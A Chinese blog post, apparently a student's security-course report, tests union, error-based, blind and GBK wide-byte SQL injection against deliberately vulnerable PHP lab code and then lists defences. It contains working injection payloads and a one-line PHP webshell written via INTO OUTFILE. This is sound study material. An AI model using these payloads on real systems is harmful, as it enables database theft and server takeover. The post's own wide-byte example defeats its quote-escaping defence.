Bu1'Blog

如果能控制粗鄙的狂喜,就不会有深入骨髓的悲伤。

0%

第十一周:手工测试之前编写的注入环境

任务标题:安全之手工测试之前编写的注入环境

1、手工测试之前搭建的不同注入环境,并记录 sql 语句,最终以获取 mysql 中的用户信息和当前表的信息为目标

2、思考通过注入漏洞可以做什么?

3、思考注入漏洞如何防御?代码、服务器等角度

扩展学习:针对不同的注入漏洞,编写防御代码,具体如何防御自己决定,相关代码均记录在报告中,测试自己的防御代码是否可以绕过,并将过程进行记录

学习报告

0x01 不同类型的注入最后传递给Mysql的具体语句

1. 回显注入

在源代码中添加一句echo "$sql";打印出实际上传递给Mysql的sql语句

  1. 查询数据库?id=-1' UNION SELECT 1,2,DATABASE() --+

    实际上传递的值:

    image-20210106105455968

    明显可以看到没有做任何的过滤,前一个'闭合了源程序预期输入的id值,然后用union联合语句执行构造的敏感sql语句。 --符合注释掉了源程序中的限制,在mysql中执行一下试试。

    image-20210106110007499

    成功获取到了输入的数据。

2. 报错注入

在源代码中添加一句echo "$sql";打印出实际上传递给Mysql的sql语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo "$sql";
echo "<br>";
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}

1.查询数据库?id=1' and extractvalue(1,concat(0x7e,(DATABASE()),0x7e)) --+

实际上传递的值:

image-20210106110828654

从代码来看,实际上与回显注入的原理差不多根本原因是没有对用户输入的'进行处理,导致了用户可以输入非预期的内容从而获得敏感的数据,只不过报错注入是利用错误信息回显,在Mysql中执行一下试试。

image-20210106111402699

成功获取到了敏感数据。

3. 盲注

时间盲注

在源代码中添加一句echo "$sql";打印出实际上传递给Mysql的sql语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo "$sql";
echo "<br>";
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}

查询数据库?id=1' and if(length(database()) = 8,1,sleep(5)) --+

实际上传递的值:

image-20210106112115290

从代码来看,时间盲注利用页面加载时间来判断后端数据库是否执行了我们构造的sql语句,本质还是没有对对'进行处理,导致了用户可以随意闭合,构造自己需要的sql语句。在mysql中执行试试。

image-20210106112522684

注意执行时间,是立即返回的,表明数据库的长度确实是8,因此根据这种信息便可以通过脚本遍历出具体的数值。

布尔盲注

在源代码中添加一句echo "$sql";打印出实际上传递给Mysql的sql语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

// mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有 返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。

$row = mysql_fetch_array($result);
echo "$sql";
echo "<br>";
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="5" color="#FFFF00">';
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}
}

查询数据库?id=1' and (ascii(substr((select database()) ,1,1))) = 115--+

实际上传递给mysql的值为:

image-20210106112829691

从代码来看,布尔盲注利用页面是否打印”You are in….”来判断后端数据库是否执行了我们构造的sql语句,本质还是没有对对'进行处理,导致了用户可以随意闭合,构造自己需要的sql语句。在mysql中执行试试。

image-20210106113011469

从数据库反应来看,实际上数据库并没有返回任何值,也就是查询结果为空。同时也表明布尔盲注漏洞一般是前端配置错误,导致了信息输出从而让攻击者可以判断出是否执行成功

4. 宽字节注入

在源代码中添加一句echo "$sql";打印出实际上传递给Mysql的sql语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
$string = preg_replace('/\'/i', '\\\'', $string);
$string = preg_replace('/\"/', "\\\"", $string);
return $string;
}
...
mysql_query("SET NAMES gbk");

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo "$sql";
echo "<br>";
...
}

查询数据库?id=-1%df' UNION SELECT 1,2,DATABASE() --+

实际上传递的值:

image-20210106143843839

从代码来看源代码中对用户输入的反斜杠、单引号、双引号都进行了处理。所以我们不能直接输入单引号双引号进行注入,通查看实际传递的sql语句,我们看到了传入的值变成了一个汉字,这是因为在GBK编码中,%df%5c会被转译成繁体汉字从而绕过注入。看看在mysql中执行的效果。

image-20210106144636878

换成试一下%df%5c ,结果一样。

image-20210106144731073

5. 总结

上面那几种类型注入方法原理及利用方法在上一篇文章中已经很详细的说明了,这一篇文章通过和数据库交互来深入理解一下各种注入方法的原理。通过上面的测试,回显注入、报错注入、盲注都是未对用户输入的数据进行处理,完全相信用户的输入的数据,所以导致了用户可以精心构造sql语句进行注入。回显注入则是会把数据库的处理结果直接打印在网页上、报错注入则是程序员将数据库的回显信息隐藏起来了,我们必须借助报错信息进行回显、盲注则是程序进一步将信息隐藏连报错信息都看不到只能通过布尔盲注与时间盲注来判断sql语句的执行情况。宽字节注入本质上也是绕过了对'的限制,借用了各种汉字编码如GBK等来进行绕过。

sql注入就是要想办法绕过各种限制让sql语句执行所以会有宽字节注入,执行后想办法让攻击者感知到执行结果,所以会有回显、报错也会有通过逻辑来判断的盲注。

0x02 注入漏洞的危害

通过上面的演示操作,我们可以直接获取的数据库的操作权限。通过对数据库进行操作可能导致数据库被拖库,管理员和重要人员的敏感信息泄露,也可以通过SQL注入漏洞来获取webshell或者执行命令导致服务器系统权限被获取等。select "<?php @eval($_POST['pass']);?>" INTO OUTFILE "D:\Wamp\webshell.php"

0x03 注入漏洞的防御

1. 代码方向

  1. 对用户输入数据进行转义,例如上文中提到的',示例代码中就屏蔽掉了用户输入的\'"

    1
    2
    3
    4
    5
    6
    7
    function check_addslashes($string)
    {
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
    $string = preg_replace('/\'/i', '\\\'', $string);
    $string = preg_replace('/\"/', "\\\"", $string);
    return $string;
    }
  2. 基于攻击特征的匹配过滤。匹配到关键词则认定为攻击,如可以检测selectfrom union等关键词,但是这种方法的误杀率比较高,需要结合实际的情况优化代码。

  3. 对数据类型及数据长度进行严格限定,防止用户输入过多的无用数据。

2. 服务器方向

  1. 对数据库采用最小权限分配,这样即使可以拿到权限也不会造成更大的损失。
  2. 避免显示SQL执行出错的信息,防止出错信息被利用。
  3. 数据层的编码统一,防止过滤模型被绕过。